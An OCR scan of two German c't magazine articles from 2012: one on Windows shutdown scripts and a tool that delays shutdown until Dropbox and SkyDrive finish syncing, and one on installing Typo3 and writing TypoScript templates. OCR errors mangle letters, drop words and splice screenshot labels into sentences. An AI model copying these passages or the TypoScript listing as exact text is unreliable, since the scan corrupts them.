=
. = Starten
anzeigen

Beschreibung:
Enthalt Skripts zum Herunterfahren
des Computers,

Der Gruppenrichtlinieneditor fehlt bei den Home- und Starter-Ausgaben von

Windows 7 und Vista.

weise. Die Zeit lasst sich mit der Einstellung
+Maximale Wartezeit fiir Gruppenrichtlinien-
skripts” im oben genannten Zweig der Grup-
penrichtlinien eigenen Bedurfnissen anpas-
sen und gilt dann auch fur Start- sowie fur
An- und Abmeldeskripte.

Im Unterschied zu letzteren kommen
LHerunterfahren”-Skripte erst dann zum
Zuge, wenn kein Benutzer mehr eingeloggt
ist. Sie laufen mit den Rechten des lokalen
Systemkontos, also praktisch ohne Ein-
schrankungen beim Zugriff auf Dateien, Ord-
ner und Registry-Eintrdge. Allerdings ist zu
beachten, dass sich der Registry-Schlissel
HKEY_CURRENT_USER und Benutzerordner wie
%appdata% oder die Eigenen Dokumente nun

Eigenschaften von

PowerShell-Skripts

Computer

Parameter
20

Name

Countdown.ps1

Skripts fur dieses Gruppenrichtlinienobjekt in der
folgenden Reihenfolge ausfuhren:

Windows-PowerShell-Skripts zuletzt ausfuhren

Server 2008 R2.

Abbrechen

't 2012, Heft 15

Windows PowerShell-Skripts zum Herunterfahren fur Lokaler

Nach oben

Entfermer

PowerShell-Skripts erfordern mindestens Windows 7 oder Windows

Dateien anzeigen...

nicht mehr auf den zuletzt angemeldeten
Benutzer beziehen, sondern eben auf das
Systemkonto. AufBer dem Desktop-Fenster-
manager laufen zu dem Zeitpunkt, zu dem
Windows die Skripte startet, noch alle Sys-
temdienste und Treiber, sodass man pro-
blemlos auf das Netzwerk und auf direkt an-
geschlossene Geratschaften zugreifen kann.
Auf den Dialogen des Gruppenricht-
linieneditors fir die Konfiguration von Skrip-
ten gibt es eine mit ,Dateien anzeigen” be-
schriftete Schaltflache, die einen Explorer in
einem derUnterordner von C:\Windows\Sys-
tem32\GroupPolicy 6ffnet. Es ist aber keine
Pflicht, die Skripte hier zu speichern - die ein-
zelnen Skript-Eintrdge nehmen beliebige
Orte auf der Festplatte auf. Aller-
dings ist es durchaus sinnvoll,
einen Ordner zu wéhlen, in dem
die Skripte vor versehentlichen
oder boswilligen Manipulatio-
nen durch unbedarfte Anwender
oder Malware geschutzt sind.

Haken und Osen

Wie oben bereits angeklungen
ist, lassen sich Abmelde- und
Herunterfahren-Skripte unter
den Home- und Starter-Versio-
nen von Windows nicht konfi-

Bei Windows 7 lassen sich als
Skripte zum Abmeldenund
zum Herunterfahren nicht nur
Batch-Dateien eintragen,
sondern auch PowerShell-
Skripte.

Obemnehmen
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23 c't-Shutdown
Dropbox-Status: Synchronisierung lauft
SkyDrive-Status: Synchronisierung beendet
Skript/Programm wird ausgefuhrt

Warte auf Fertigstelung

Das Utility c't-Shut-
down wartet vor dem
Herunterfahren von
Windows, bis die
Clients von Dropbox
und SkyDrive ihre
Daten mit der Cloud
synchronisiert haben.

Einstellungen
Pfad:

D:\Benutzer\hos\Dropbox

Pfad: D:\Benutzer\hos\SkyDrive

[] Dropbox tiberwachen

4 SkyDrive Uberwachen

[¥] skriptfProgramm ausfihren

Datei: D:\DiesDas\Countdown.cmd

Jetzt herunterfahren Abbrechen

Einstelungen...

gurieren. Das liegt zum einen daran, dass es
hier den Gruppenrichtlinieneditor gpedit.msc
nicht gibt. Zum anderen werten die ,klei-
nen” Windows-Ausgaben offenbar die Re-
gistry-Eintrdge, die gpedit erzeugt, schlicht
nicht aus. Bei unseren Versuchen hat jeden-
falls das Exportieren dieser Schliissel aus
Windows 7 Ultimate und das anschlieBende
Importieren unter Home Premium nicht
zum Erfolg gefuhrt.

Auch die Idee, die Aufgabenplanung dazu
zu Uberreden, Shutdown-Programme oder
-Skripte zu starten, fihrt zu nichts: Es gibt
dort einfach keinen passenden Trigger. Der
auf den ersten Blick vielversprechende Ein-
trag ,Bei Trennung von Benutzersitzung”
greift nicht beim Abmelden oder Herunter-
fahren, sondern nur bei der schnellen Benut-
zerumschaltung oder wenn man sich aus
einer Remotedesktop-Verbindung abmeldet.

Eigenbau

Fur den eingangs skizzierten Anwendungs-
fall, Windows mit dem Herunterfahren so
lange warten zu lassen, bis Speicherdienste
wie Dropbox oder SkyDrive ihre Daten voll-
standig synchronisiert haben, taugen Abmel-
deskripte nicht: Wie erwdhnt startet Win-
dows sie erst, nachdem es alle anderen An-
wendungen beendet hat — mithin auch die
Cloud-Clients. Der einzige praktikable L6-
sungsansatz besteht darin, das Warten
einem eigens daflr geschriebenen Pro-
gramm zu Ubertragen, das dann auch gleich
den Shutdown anstofBen kann. Wer so etwas
einsetzen mochte, fir den sind die Start-
mendeintrdge zum Abmelden und Herunter-
fahren oder der Power-Taster am PC-Gehéau-
se kunftig allerdings ebenso tabu wie die
Angewohnheit, das Notebook nach getaner
Arbeit einfach zuzuklappen.

Das von uns entwickelte Tool c’t-Shut-
down (siehe Link am Ende des Artikels) lasst
sich einfach in einen beliebigen Ordner auf
der Festplatte kopieren. Sinnvollerweise soll-
te man es anschlieBend mdoglichst einfach
zuganglich machen, indem man eine Ver-
knupfung dazu auf dem Desktop ablegt oder
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In den Einstellungen
von c't-Shutdown
kann man ein zusatz-
liches Skript oder Pro-
gramm eintragen, das
bei jedem Herunter-
fahren automatisch
ausgefihrt wird.

es ans Startmenu oder die Taskleiste anhef-
tet; wer mag, kann in der Verknupfung auch
eine Tastenkombination definieren.

Beim ersten Start 6ffnet das Tool seinen
Einstellungsdialog, in dem der Benutzer
festlegen kann, ob er seinen Dropbox-
und/oder SkyDrive-Client Uberwachen will
und wo sich deren Ordner befinden. Au3er-
dem kann man hier ein Skript oder Pro-
gramm eintragen, das bei jedem Herunter-
fahren per c't-Shutdown zusétzlich automa-
tisch ausgefiihrt werden soll. Uber ein
Eingabefeld lasst sich eine zusatzliche War-
tezeit konfigurieren, bevor das Tool Win-
dows tatsachlich herunterfahrt — die gibt
die Gelegenheit, noch schnell auf ,Abbre-
chen” zu klicken oder Esc zu dricken, falls
man das Tool mal versehentlich gestartet
hat. SchlieB8lich kann man wéhlen, ob das
Programm Windows komplett herunterfah-
ren oder in einen Energiesparmodus verset-
zen soll.

Die beiden groBen Schaltflichen auf dem
Hauptfenster von c't-Shutdown sollten selbst-
erklarend sein: ,Abbrechen” bricht das He-
runterfahren ab und ,Jetzt herunterfahren”

Cloud-Status auslesen

Dropbox, Microsoft und Google machen es
externen Programmen nicht besonders
leicht, an die Statusinformationen ihrer
Cloud-Clients zu kommen: Eine offizielle
Dokumentation dazu gibt es bei keinem
der Anbieter.

Der Trick, wie es bei Dropbox funktioniert,
findet sich auf dem von Anwendern betrie-
benen Dropbox Wiki [1] auf der Seite ,Py-
thon Script To Get File Or Folder Status In
Windows" (Link am Ende des Artikels): Man
muss sich mit einer sogenannten Named
Pipe verbinden, einem speziellen Botschaf-
tenkanal, an dem die Dropbox-Anwendung
lauscht und Uber den sie Statusinformatio-
nen zurlckliefert. Fir unser Shutdown-

Zuséatzliche Wartezeit: S

Parameter: 20

Sekunden

Danach: Standby

OK Abbrechen

Uberspringt das Warten auf den Abschluss
der Cloud-Synchronisierung und der Ausfih-
rung des selbst definierten Skripts oder Pro-
gramms. In die Einstellungen kommt man
mit dem gleichnamigen Button. Sicherheits-
halber versteht das Programm aber auch die
Befehlszeilenoption /config: Damit ruft man di-
rekt den Konfigurationsdialog auf. Das kann
notwendig werden, wenn man die Einstel-
lungen so gewahlt hat, dass es fur das Utility
nichts mehr zum Abwarten gibt und das
Fenster nur so kurz auf dem Bildschirm
bleibt, dass der Anwender den ,Einstel-
lungen”-Knopf nicht mehr erreicht. Alter-
nativ kann man in einer solchen Situation
auch den Registry-Schlissel HKEY_CURRENT_
USER\Software\c't\ctShutdown I6schen: Hier spei-
chert das Programm seine Einstellungen.
Fehlt er, fuhlt es sich frisch installiert und off-
net den Konfigurationsdialog wieder auto-
matisch. (hos)

Literatur

[1] Dropbox Wiki, www.dropboxwiki.com

www.ct.de/1215158

Werkzeug haben wir die dort vorgestellte
Methode nach C++ Ubersetzt.

Der SkyDrive-Client von Microsoft registriert
auf dem System einen undokumentierten
OLE-Automatisierungsserver samt zugeho-
riger Typbibliothek ,SkyDriveLibrary 1.0".
Sie enthdlt unter anderem ein Objekt na-
mens SkyDriveClient, dessen Methode Getltem
Status() die gewlimschte Information liefert.

Bei der Suche nach einer dhnlichen Schnitt-
stelle fur den Google-Drive-Client sind wir
leider nicht fliindig geworden. Falls sie doch
existiert und wir sie Gbersehen haben, wiir-
den wir uns tber eine Nachricht freuen und
c't-Shutdown in einer nachsten Version
entsprechend nachristen.

c't2012, Heft 15



scan by blackburner 2012 internetz



ie Autoren, die eine Seite fiir

Besucher spannend ma-
chen, kénnen mit dem Content-
Management-System Typo3 die
Inhalte mit einem Rich-Text-Edi-
tor bearbeiten, Dateien hochla-
den und zur lllustration verwen-
den. Die einfache Bedienung im
Browser ermoglicht dem Redak-
teur eine plattformunabhéangige
Nutzung. Auch Administratoren
und Web-Entwicklern bringt das
hédufig eingesetzte Open-Source-
CMS viele Vorteile: Die Benutzer-
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verwaltung macht rollenbasierte
Rechtevergabe auf der Site leicht
und flexibel. Typo3 wird in
Deutschland haufig eingesetzt.
Daher gibt es deutschsprachige
Literatur, Dokumentation und
Foren zum Austausch und um
Hilfe bei Problemen zu finden.
Auch fur die absehbare Zukunft
wird es verfligbar sein, denn das
Open-Source-CMS  wird  aktiv
weiterentwickelt.
Erweiterungen aus der Ent-
wickler-Community kdnnen tGber

einen Extension Manager ein-
fach zu- oder abgeschaltet wer-
den. Das Repository bietet ak-
tuell Zugriff auf Gber 3000 Erwei-
terungen wie News, Kalender,
Registrierung, Newsletter, Blogs,
Foren, Shopfunktionen und vie-
les mehr. Mit einem Wizard kann
eine neue Typo3-Version per
Klick auf den aktuellen Stand ge-
bracht oder mehrere Releases
zurlickgesetzt werden, um etwa
eine bestimmte Kompatibilitat
sicherzustellen.

Auch bei der Verwaltung
komplexer Inhalte ist das CMS
leistungsfahig. Mit Typo3 kon-
nen Sie Inhalte in mehreren
Sprachen und in verschiedenen
Versionen verwalten. Diese las-
sen sich auf Seiten- oder Inhalts-
elementebene  zeitgesteuert
oder manuell freigeben. Es gibt
eine Undo-Funktion fur beliebig
weit zuriickliegende Anderun-
gen sowie ein umfangreiches
Rechtesystem mit  Nutzern,
Gruppen und Rollen. Die ausge-
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feilten Caching-Mechanismen
machen Typo3 richtig flink, ob-
wohl die Seiten in Echtzeit gene-
riert werden.

Das Systemist und
flexibel, daher auch kom-
plex und fur Einsteiger schwer zu
durchschauen. Mit den richtigen
Tipps und Hinweisen lassen sich
allerdings die meisten Fallstricke
bei der Installation umgehen.
Um sich in die Typo3-eigene
Konfigurationssprache  Typo-
Script einzuarbeiten, bendtigen

c't2012, Heft 15

Sie lediglich einfache Program-
mierkenntnisse in BASIC oder
einer beliebigen anderen Pro-
grammiersprache. Weiterhin soll-
ten Sie einigermafen mit HTML
und CSS vertraut sein, um ein
Webseiten-Template an die
Style-Namen anzupassen, die
Typo3 verwendet.

LAMP benétigt

Typo3 ist in PHP5 geschrieben
und lduft auf den gangigen Web-

Praxis | Typo3

Installationsvoraussetzungen fiir Typo3

- Virtueller Webserver mit
Domain

- Webserver mit mindestens
256 MByte RAM

- Webserver: Apache 2.0 oder
Microsoft IS

— Datenbank: MySQL 5.0,
Oracle oder Postgres

servern und Betriebssystemen.
Die bevorzugte Architektur ist
LAMP Linux/Apache/MySQL/PHP)
mit PHP5, es gibt aber auch eine
WAMP-Version fiir Windows. Zum
Betrieb von Typo3 benotigen Sie
<einen eigenen Webserver mit
SSH-Zugang und Admin-Rechte,
wenn Sie Gebrauch von allen
Méglichkeiten machen wollen.
Bei groBerem Traffic ist ein virtu-
eller Webserver mit garantierten
Ressourcen dem geteilten Web-
space vorzuziehen.

Zur Not geht es auch mit FTP-
Zugang und einem Shared-Hos-
ting-Paket, wie es bei einem Pro-
vider fur wenige Euro im Monat
gemietet werden kann. Bevor Sie
sich aber fir ein solches Ange-
bot ohne Admin-Zugang ent-
scheiden, erkundigen Sie sich
beim Anbieter, ob Typo3 dort in-
stalliert werden kann. Manche
Hoster bieten Typo3 auch vor-
installiert an. Uber den c't-Link
am Ende des Artikels finden Sie
den Erfahrungsaustausch von
Typo3-Nutzern in einem Forum
dartiber, welche Hoster fir Sie
interessant sein kdnnen. Falls Sie
zunachst einmal Typo3 lokal auf
lhrem Computer ausprobieren
wollen, bauen Sie mit XAMPP
oder AMPPS und Typo3 von der
Heft-DVD das Projekt nach.
AMPPS ist dabei die einfache Va-
riante, mit der Sie Typo3 mit we-
nigen Klicks installierén.

Fallstricke

Fur die Installation eines Produk-
tivsystems beziehen Sie die ak-
tuelle Version der Software am
besten von der offiziellen Typo3-
Website. Dort sind auch alle Do-
kumentationen zu finden, zum
Teil auch auf Deutsch. Als Linux-
Nutzer mit Shell-Zugang laden
Sie sich das etwa 20 MByte
groBRe ,Blank Package” als tar.gz,
kopieren es auf den Webserver
neben das Verzeichnis htdocs

- GDlib
- Linux, Windows
-PHP5.3

- GraphicsMagick oder Image-
Magick

- mod_rewrite, mod_gzip fur
Apache

und entpacken es dort. So ist der
Source-Code sicher vor Zugriffen
von auflen Uber den Webserver.
Nun kopieren Sie alles bis auf das
Verzeichnis typo3_src-4.7.1 nach
htdocs, passen den symboli-
schen Link typo3_src auf das tat-
sachliche Quellverzeichnis an
und setzen dessen Owner auf
den Webserver-Nutzer.

Wenn Sie nun im Browser die
index.php des Webservers auf-
rufen, so wird im Idealfall die Mel-
dung ,Install Tool is locked” ange-
zeigt. Sollte nur eine weiBe Seite
erscheinen, Uberprifen Sie zu-
nachst die Serverkonfiguration.
Die Variable open_basedir stobern
Sie in Dateien wie vhost.conf,
httpd.conf oder php.ini auf und
ergdnzen diese um den vollstan-
digen Pfad des Verzeichnisses
typo3_src-4.7.1. Schalten Sie den
safe_mode von PHP aus. Wenn Sie
keine Admin-Rechte haben oder
nur Uber FTP-Zugriff verfligen,
kénnen Sie alternativ das Ver-
zeichnis typo3_src-4.7.1 direkt
nach htdocs kopieren und den
symbolischen Link typo3_src an-
passen.

Zu beachten ist noch die
Rechtestruktur. Die Verzeichnisse
fileadmin, uploads, typo3temp,
typo3conf und insbesondere
auch ext im typo3-Ordner mus-
sen fur den Webserver be-
schreibbar sein. Im einfachsten
Fall andern Sie den Besitzer der
Verzeichnisse von root auf den
Webserver-Nutzer, etwa www-data,
mit dem Kommando chown. Die
Schreibrechte fur das ext-Ver-
zeichnis im typo3-Ordner sind
zwingend notwendig, wenn Sie
Extensions installieren wollen,
die nicht zum Lieferumfang ge-
horen. Vergessene Schreibrechte
sind eine schwer zu findende
Fehlerquelle.

Typo3 benotigt die PHP5-Gra-
fikbibliotheken GraphicsMagick
oder ImageMagick fiir das Ren-
dern von Grafiken. Diese sollten
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Welcome to the TYPO3 Install Tool

TYPO3 is an content management system that is powerful,
yet to install.
In simple you'll  ready to add content to your website.
Continue
wizard users

Das Installationstool hilft bei der Einrichtung
und beim Update von Typo3-Installationen.

bei den meisten Providern auf
dem Server vorinstalliert sein. Im
Zweifel fragen Sieim Vorfeld den
Hoster, ob die Bibliotheken zur
Verfligung stehen. Mit Admin-
Rechten kénnen Sie diese mit
apt-get install nachladen oder not-
falls mit make aus den Quelltexten
installieren.

Installationstool

Als Néachstes folgt die Einrich-
tung der Datenbankverbindung.
Dank des mitgelieferten Werk-
zeugs ist das mit nur drei Klicks
erledigt. Um Missbrauch zu ver-
meiden, muss im typo3conf-
Ordner eine Datei namens
ENABLE_INSTALL_TOOL manuell
angelegt werden. Die Aktivie-
rung ist nur eine Stunde gultig.
Das Installations-Tool wird jetzt
automatisch beim Aufruf der
index.php im Stammverzeichnis
des Webservers aktiviert. Legen
Sie Uber das Webmenu lhres
Hosters oder phpMyAdmin eine
MySQL-Datenbank an. Merken
Sie sich MySQL-Benutzer, Name
der Datenbank, Server und Pass-
wort. Diese missen Sie in das In-
stallations-Tool eingeben. Nach
diesem Schritt ist das System
einsatzbereit.

Typo3 unterscheidet zwi-
schen Administration der Web-
site im Backend und ihrer Dar-
stellung im Frontend - also dem,
was der Besucher der Website zu
sehen bekommt. Das Backend
erreichen Sie Uber http://www.
IHREWEBSEITE.de/typo3/. Log-
gen Sie sich dort als Nutzer
.admin” mit dem Passwort
Jpassword” ein. Als Erstes laden
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Sie die Benutzersprache Deutsch
Uber den Erweiterungsmanager
- jetzt heillt er noch Extension
Manager - mit der Funktion
.Language Packages”. Wahlen
Sie dort in der Liste ,German”
aus und klicken auf ,Check
against Repository”, dann auf
.Update Repository”. Anschlie-
Bend weisen Sie diese unter
JUser Settings” dem Benutzer
admin zu. Bei der Gelegenheit
sollten Sie auch gleich das vor-
gegebene Passwort andern.

v WEB
Seite

@ Anzeigen
Liste
Info
. 2ugriff
Funktionen

Termplate

v DATEI

Dateiliste

¥ BENUTZERWERKZEUGE

Einstellungen

v ADMINWERKZEUGE

Benutzer

Erweiterungen

Das Menii im Backend von
Typo3 ist leicht zu verstehen.
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Nun sehen Sie zum ersten Mal
das Bedienkonzept von Typo3.
Das sind kaskadenformige Aus-
wahlmendus, durch die Sie sich
von links nach rechts und oben
nach unten durchhangeln. Eine
der Eigenheiten von Typo3 ist
die Doppelbedienung mit der
Maus. Viele Funktionen lassen
sich mit normalem Mausklick
Uber Auswahlments aufrufen,
einige sind jedoch auf der rech-
ten Maustaste versteckt, die ein
zusatzliches Kontextmeni off-
net. Wenn also etwas mit einem
einfachen Mausklick nicht funk-
tioniert, ist die rechte Maustaste
gefragt.

Das Backend-Meni zur Ver-
waltung von Typo3 ist recht sim-
pel aufgebaut. Die einzelnen
Funktionen sind in Gruppen wie
Web, Datei, Benutzerwerkzeuge
und Adminwerkzeuge eingeteilt.
Je nach Benutzer werden nur die
verfugbaren Funktionen und
Gruppen angezeigt. Wenn Sie
Funktionen aus der Gruppe
Web"” wahlen, erscheint in der
Mitte ein Seitenbaum zur Aus-
wahl der zu bearbeitenden Seite
und ganz rechts das eigentlich
zu bearbeitende Objekt. Am
Anfang brauchen Sie nur die
Funktionen Seite, Template und
Dateiliste.

Zum Anlegen einer Website
fangen Sie am besten mit einer
+Home"-Seite an. Die gibt es auf
fast jeder Website als Hauptseite.
Sie ist Anlaufstelle fir Neuigkei-
ten und Navigation. Sie brau-
chen sich im Anfangsstadium
noch nicht zu viele Gedanken zu
machen, denn die Seitennamen
und -typen lassen sich jederzeit
andern.

Wahlen Sie also die Funktion
Seite im Web-Menu, gehen auf
.New TYPO3 site”, wahlen dann
Uber die rechte Maustaste die
Funktion ,Neu” aus und bestim-
men anschlieBend die Position
der Seite. Seiten konnen auf der
gleichen Ebene liegen oder als
Unterseite angelegt werden. Die
Ebenenstruktur spielt spater
beim Aufbau der Navigation
eine Rolle: Alle Seiten auf einer
Ebene stehen spater nebenei-
nander als Links auf einer Navi-
gationsebene. Pflichtfelder sind
in Typo3 mit einem Ausrufezei-
chen in einem gelben Dreieck
gekennzeichnet. Der Seitentitel
ist ein solches Pflichtfeld.

Eine weitere wichtige Einstel-
lung fur die Startseite ist unter
dem Reiter ,Verhalten” erforder-
lich, ndmlich dass die Seite als
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So kénnte eine typische Vereins-Website aufgebaut werden;
an Stelle der Platzhalter fligt Typo3 Inhalte ein.

Anfang der Website benutzt:

wird. Sofern die index.php ohne
eine Seiten-ID als Parameter auf-
gerufen wird, gibt das CMS auto-
matisch diese Startseite aus.
Wichtig ist das Speichern von
Anderungen durch Anklicken
der Diskettensymbole weiter
oben. Nun miussen Sie die Seite
noch im Frontend sichtbar ma-
chen, indem Sie mit der rechten
Maustaste im Seitenbaum auf
JAktivieren” klicken.

Ein Template muss her

Die erste Seite ist nun zwar an-
gelegt, kann aber immer noch
nicht angezeigt werden. Wer die
index.php im Browser ladt, wird
auf die Fehlermeldung ,No
TypoScript template found” sto-
Ben. Irgendetwas fehlt also noch.
Ein grundlegendes Konzept von
Content-Management-Systemen
ist die Trennung von Inhalten
und deren Darstellung. Mit Anle-
gen der Seite haben Sie zwar In-
halt geschaffen, aber noch nicht

festgelegt, wie dieser dargestellt
werden soll. Um Hintergrund-
farbe, Schriftart und -gré3e und
Ahnliches zu bestimmen, arbei-
tet man mit CSS-Stilen. Die
Struktur der Seiten - Kopf- und
FuBbereich, Navigation, Inhalts-
felder — wird mit einem Templa-
te in der Konfigurationssprache
TypoScript festgelegt. Dieses
Template sagt Typo3, welchen
Inhalt aus der Datenbank es wie
wiedergeben soll.

Wahlen Sie zundchst im Meni
Web die Funktion Template und
klicken dann auf die Seite mit der
Weltkugel. Diese Kugel erscheint,
wenn man eine Seite angelegt
hat mit der Eigenschaft ,Anfang
der Website”. Dann wédhlen Sie
JTemplate fir neue Website er-
stellen”. Dieses Template gilt nun
als Basis-Template fir alle Seiten
und Unterseiten. Bei Bedarf
legen Sie flr besondere Zwecke
oder Seiten eigene Templates an,
die einzelne Funktionen im Basis-
Template Uberschreiben oder
dieses um neue Funktionen oder

Template-Informationen:
WEBSITE

2 Titel des
Templates:
Titel der Website:

Beschreibung:
Ressourcen:
Konstanten:

Setup:

NEUE WEBSITE

(bearbeiten um anzuzeigen, 0 Zeilen)

(bearbeiten um anzuzeigen, 6 Zeilen)

Yollstandigen Template-Datensatz bearbeiten

Im Backend des CMS pflegen Sie die Codezeilen

fur die Seiten-Templates ein.
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Inhalte erweitern. Das Template
bekommt automatisch den Titel
+NEUE WEBSITE” und durch Klick
auf den Namen o6ffnet sich ein
Texteditor mit einem ,Hello
World"-Beispiel in TypoScript. Kli-
cken Sie zum Speichern auf das
Diskettensymbol. Wenn Sie die
index.php jetzt neu laden, er-
scheint brav ein ,Hello World”
anstelle der Fehlermeldung. Das
ist ein erster Erfolg, jedoch nicht
wirklich sinnvoll, weil ,Hello
World” auch auf jeder weiteren
neu angelegten Seite erscheinen
wirde - anstelle des tatsachli-
chen Seiteninhalts.

Fur die Template-Bearbei-
tung wahlen Sie oben in der
Auswahlbox ,Info/Bearbeiten”,
damit das Template mit allen
Bearbeitungsfunktionen uber-
sichtlich dargestellt wird. Der
TypoScript-Code steht im Feld
,Setup”; fir Konstanten gibt es
einen separaten Bereich. Tippen
oder kopieren Sie in das Feld das
nebenstehende Basis-Template
hinein.

Wichtig ist dann noch, das
statische Template ,CSS Styled
Content” einzubinden. Dazu
wahlen Sie ganz unten unter
JVollstandigen Template-Daten-
satz bearbeiten” den Reiter ,Ent-
hélt” und dort dann das ge-
wiinschte Template. Typo3 be-
notigt CSS Styled Content, um
CSS fur das Layout von Seiten
nutzen zu kénnen.

Templating
mit TypoScript

Unser Beispiel ist eine kleine Ver-
eins-Site. Die dazu gehdérenden
HTML- und CSS-Dateien finden
Sie Uber den c’t-Link am Ende
des Artikels. Laden Sie sie im
Typo3-Backend in der Funktion
,Dateiliste” in das Verzeichnis
fileadmin. Typo3 verwendet die-

config.admPanel=1
config.admPanel {
enable.edit=1
) module.edit.forceDisplayFieldIcons=1

page=PAGE

page.includeCSS.filel=fileadmin/css/MeinVerein.css
page.includeJS.filel=fileadmin/js/MeinVerein.js

HTMLFile=FILE

HTMLFile.file=fileadmin/MeinVerein.html

HTMLTemplate=TEMPLATE

HTMLTemplate {
template < HTMLFile
workOnSubpart=BODYPART
marks.NAVI=TEXT
marks.NAVI.value=Platzhalter fir die
marks.CONTENT < styles.content.get
marks.NEWS < styles.content.getRight
marks.FOOTER=TEXT
marks.FOOTER.value=(C)opyright 2012,

Navigation

MeinVerein

marks.FOOTER.wrap=<span class="footer">|</span>

}
page.10 < HTMLTemplate

ses Verzeichnis fur beliebige ein-
gebundene Dateien, zum Bei-
spiel auch Grafiken. Um Chaos zu
vermeiden, empfiehlt es sich,
hier von Anfang an eine Struktur
anzulegen und die Dateien in
Unterverzeichnisse wie css, js,
images oder dhnlich abzulegen.

Ein Template-Satz besteht im
Wesentlichen aus einer HTML-
Datei, einer oder mehreren CSS-
Dateien sowie dem Typo3-Tem-
plate. Die HTML-Datei, auch
HTML-Template genannt, be-
steht aus dem Grundgerist der
Seite - siehe Abbildung auf Seite
165 oben. An Stelle der Inhalte
enthdlt sie sogenannte Marker
der Form

###Marker###

Fir diese Marker fugt Typo3 auf
Basis des TypoScript-Templates
die Inhalte ein.

Ersetzungen

TypoScript behandelt Inhalte als
Objekte. Die Basis eines Templa-
tesist ein Objekt vom Typ PAGE.
Im Beispiel wird mit page = PAGE
ein Objekt page geschaffen, das

TEXT TEXT
IMAGE IMAGE
HMENU IMGTEXT
(HTML)TEMPLATE FORM
CONTENT
TypoScript fligt Objekte zu PLUGIN

einem Template zusammen.
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die Eigenschaften der Klasse PAGE
erbt. PAGE ist die Standardklasse
fur eine Seite und legt alle De-
tails fur die Darstellung fest. Die
darauffolgenden Zeilen weisen
dem page-Objekt weitere Eigen-
schaften zu.

Daflir werden die Objektklas-
sen FILE und TEMPLATE beno-
tigt. FILE ist ein universeller Ob-
jekttyp fur die Referenzierung
und Verwendung von stati-
schen Dateien in einer Typo3-
Installation. Besondere FILE-Ob-
jekte sind includeCSS und in-
cludeJS fur die Einbeziehung
von CSS- oder JavaScript-Datei-
en, die bereits im Header der
ausgegebenen HTML-Seite ein-
gebunden werden. In der aus-
gelieferten HTML-Datei sorgen
die beiden Zeilen also dafir,
dass die betreffenden Java-
Script- und CSS-Dateien richtig
referenziert werden.

Das HTML-Template dagegen
wird meist nur im BODY einer
Website verarbeitet und mit
dem Objekttyp TEMPLATE zu-
sammen benutzt, welches das
einfache Objekt vom Typ FILE
um nitzliche Funktionen erwei-
tert. Es ermdglicht es, die ###-
Platzhalter in der HTML-Datei
durch Texte oder andere Inhalte
zu ersetzen.

Eine hadufig benutzte Objekt-
klasse in Typo3 ist TEXT. Mit die-
ser kann man statische Texte in
eine Website einfligen, einfache
Formatierungen  vornehmen
oder CSS-Klassen zuweisen. Ob-
jekte aus der TEXT-Klasse sind
recht universell verwendbar und
kénnen neben statischem Text
auch den Inhalt von Datenbank-
feldern oder Variablen aufneh-
men. Die Funktion wrap erlaubt
die HTML-typische Schachtelung
von Inhalten und ist in fast

Dieses TypoScript-Template
ist die Basis fiir alle erzeugten
Webseiten. Es ersetzt Platz-
halter in der HTML-Datei durch
die konkreten Inhalte.

jedem Typo3-Objekt vorhanden.
Im Beispiel weist die Funktion
dem Footer-Inhalt ein HTML-Tag
mit der Klasse ,footer” zu.

Objekte lassen sich kopieren,
inhaltlich verdndern oder 6-
schen, solange das Template
noch nicht vollstandig ausgege-
ben wurde. Intern werden alle
Objekte als PHP-Arrays behan-
delt und erst verarbeitet, wenn
die Seite abgefragt wird - sozu-
sagen als letzter Schritt vor der
Ausgabe der Seite fur den
Browser. Objekte werden mit
dem <-Zeichen kopiert und er-
halten alle bis dahin festgeleg-
ten Eigenschaften und Inhalte
des Quellobjekts. Im Beispielpro-
jekt Ubergibt der Konstruktor
HTMLTemplate mit einem Objekt
template vom Typ TEMPLATE die Er-
gebnisse aller Vorgange inner-
halb seiner geschweiften Klam-
mern an das Objekt page.10.

Die Platzhalter CONTENT und NEWS
innerhalb des HTMLTemplate-
Konstruktors werden durch In-
halte ersetzt, die noch in Typo3
zu erstellen sind. Aktuell ist auf
der Seite daher noch nichts zu
sehen. Typo3 bietet von Haus
aus bis zu vier Spalten.- Der
Hauptinhalt wird tblicherweise
der breitesten Spalte ,Normal”
zugewiesen, daneben gibt es
noch die Spalten ,Rechts”,
,Links” und ,Rand”. Das sind je-
doch nur Namenskonventionen,
die nicht zwingend etwas mit der
Position der Spalten zu tun
haben. Die noch nicht existieren-
den Inhalte vom Typ NEWS wer-
den der rechten Spalte zugewie-
sen. Bei Bedarf lassen sich wei-
tere Spalten definieren. Die obe-
ren Zeilen im Listing beginnend
mit config bereiten den Einsatz des
Frontend-Editing-Tools vor.

Redigieren im Frontend

Nachdem die Grunddarstellung
der Website definiert wurde,
geht es nun an die Inhalte. Vie-
len Redakteuren kommt es ent-
gegen, wenn sie Artikel und Sei-
ten gleich auf der Website anle-
gen und editieren konnen. Daflr
ist das Modul ,feedit” zustandig.
Installieren Sie es, indem Sie im
Erweiterungsmanager das farb-
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lose Klotzchen anklicken. Zu-
nachst wird die Erweiterung Ext-
Base installiert, von der feedit
abhéngig ist. Klicken Sie sich nun
durch die Dialoge zur Daten-
bankaktualisierung und Installa-
tion der Erweiterungen. Uber-
prufen Sie anschlieBend, dass
das Klotzchen bei feedit tatsach-
lich griin ist.

Beim Laden der Startseite
http://www.IHREWEBSEITE.de/in
dex.php erscheint jetzt das defi-
nierte Template, jedoch noch
ohne Inhalte. Am FuB3 der Seite
taucht das Admin-Panel auf, wel-
ches Funktionen zum Anlegen
und Verwalten der Inhalte durch
den Redakteur bietet. Die ange-
botenen Optionen hdangen von
den Berechtigungen des Users
ab, der Administrator hat natur-
lich die Maximalausstattung. Das
Panel lasst sich mit der Maus in
den gewlinschten Seitenbereich
verschieben. Wenn Sie es 6ffnen,
konnen Sie mit den eingeblen-
deten kleinen Symbolen Inhalte
und auch neue Seiten anlegen.
Aktivieren Sie unter ,Eingabe”
die ersten beiden Kastchen und
klicken dann auf ,Aktualisieren”,
um die Bearbeitungswerkzeuge
in die Seite einzublenden.

Beim Anlegen neuer Inhalte
stehen Text, Bild, Text mit Bild,
Tabellen, Formulare oder auch
Plug-ins zur Verfligung. Exten-
sions wie News oder Indexed-
Search ersetzen als fertige und
einfach konfigurierbare Plug-ins,
was Sie auch mit ein paar Dut-
zend TypoScript-Anweisungen
hinbekommen kénnen. Wahlen
Sie ,Text mit Bild”, dann kénnen
Sie die Position des Inhalts-Ele-
ments bestimmen und den Text
im Editor verfassen und wunsch-
gemal formatieren. Nun werden

MEINVEREIN.DE
latzhalter fur die Navi ation

Neuer Spielplan

